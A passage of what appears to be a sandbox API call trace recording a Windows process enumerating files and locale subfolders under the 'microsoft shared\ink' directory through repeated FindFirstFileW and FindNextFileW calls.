ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x59a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0054.769] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsar.xml", cAlternateFileName="")) returned 1 [0054.769] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0054.769] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f7720, Size=0x4000) returned 0x3ce9280 [0054.769] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0054.769] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0054.769] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0054.769] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0054.769] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0054.770] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsel.xml", cAlternateFileName="")) returned 1 [0054.770] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0054.770] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0054.770] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0054.770] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0054.770] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0054.770] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshe.xml", cAlternateFileName="")) returned 1 [0054.770] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshi.xml", cAlternateFileName="")) returned 1 [0054.770] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0054.770] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsid.xml", cAlternateFileName="")) returned 1 [0054.770] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0054.770] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0054.770] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0054.771] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0054.771] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0054.771] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0054.771] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0054.771] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0054.771] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0054.771] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0054.771] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0054.771] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0054.771] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0054.771] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0054.771] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0054.771] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipstr.xml", cAlternateFileName="")) returned 1 [0054.772] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0054.772] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0054.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260800 [0055.247] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0055.247] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.247] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0055.247] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0055.247] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.247] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0055.247] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0055.248] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42602c0 [0055.248] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0055.248] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.248] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9592f9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e9592f9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e9592f9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0055.248] FindClose (in: hFindFile=0x42602c0 | out: hFindFile=0x42602c0) returned 1 [0055.248] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.248] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0055.248] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0055.248] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName=".", 